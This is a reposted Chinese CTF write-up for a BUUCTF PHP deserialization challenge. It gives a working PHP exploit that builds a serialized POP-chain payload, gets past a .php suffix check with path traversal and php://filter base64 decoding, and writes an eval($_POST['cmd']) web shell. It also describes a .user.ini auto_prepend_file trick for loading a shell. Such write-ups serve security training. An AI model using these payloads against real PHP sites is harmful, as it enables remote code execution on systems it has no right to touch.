码迷,mamicode.com
首页 > Web开发 > 详细

BUUCTF[2020 新春红包题]1 web

时间:2020-02-12 22:36:04      阅读:185      评论:0      收藏:0      [点我收藏+]

标签:一段   shel   创建   user   方法   obj   getc   false   cte   

这个题跟[EIS 2019]EzPOP 比较类似。
[EIS 2019]EzPOP WP
区别在于修改了一段代码。

修改前:

   public function getCacheKey(string $name): string
    {
        return $this->options[‘prefix‘] . $name;
    }

    1
    2
    3
    4

修改的:

public function getCacheKey(string $name): string {
        // 使缓存文件名随机
        $cache_filename = $this->options[‘prefix‘] . uniqid() . $name;
        if(substr($cache_filename, -strlen(‘.php‘)) === ‘.php‘) {
          die(‘?‘);
        }
        return $cache_filename;
    }

    1
    2
    3
    4
    5
    6
    7
    8

使文件名随机,并且比较了后缀并限制了后缀不能为php
这里有两种解法:
第一种是绕过php后缀:
在做路径处理的时候,会递归的删除掉路径中存在的 /. ,所以导致写入文件成功。
利用之前的exp

<?php
class A{
    protected $store;
    protected $key;
    protected $expire;
    public function __construct()
    {
        $this->key = ‘/../pz.php/.‘;  //    php://filter/write=convert.base64-decode/resource=uploads/‘. uniqid() .‘/../pz.php/.‘);
    }
    public function start($tmp){
        $this->store = $tmp;
    }
}
class B{
    public $options;
}

$a = new A();
$b = new B();
$b->options[‘prefix‘] = "php://filter/write=convert.base64-decode/resource=uploads/"; //mkdir 会创建不了文件夹; uploads文件夹本身存在所以不用创建了
$b->options[‘expire‘] = 11;
$b->options[‘data_compress‘] = false;
$b->options[‘serialize‘] = ‘strval‘;
$a->start($b);
$object = array("path"=>"PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg");
$path = ‘111‘;
$a->cache = array($path=>$object);
$a->complete = ‘2‘;
echo urlencode(serialize($a));
?>

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30

在这里插入图片描述
这里需要注意的是,需要利用路径穿越,不然上传上去的shell会被改为当前时间的文件名

像这样
在这里插入图片描述
第二种解法
可以参考Moyu 师傅的:
buu红包题writeup

这里用的方法是用.user.ini去自动加载一个jpg,然后包含shell

这里对.user.ini的讲解

    总体思路就是: 我们可以上传一个.user.ini文件,在.user.ini文件内利用auto_prepend_file写入我们要上传的图片作为shell的文件名。然后再写入jpg文件,作为我们的shell。 然后就可以访问我们的shell文件了。

具体exp可以看Moyu师傅的文章。
————————————————
版权声明:本文为CSDN博主「sec_pz」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/zhangpen130/article/details/104114797

BUUCTF[2020 新春红包题]1 web

标签:一段   shel   创建   user   方法   obj   getc   false   cte   

原文地址:https://www.cnblogs.com/nwzw-blog/p/12301048.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!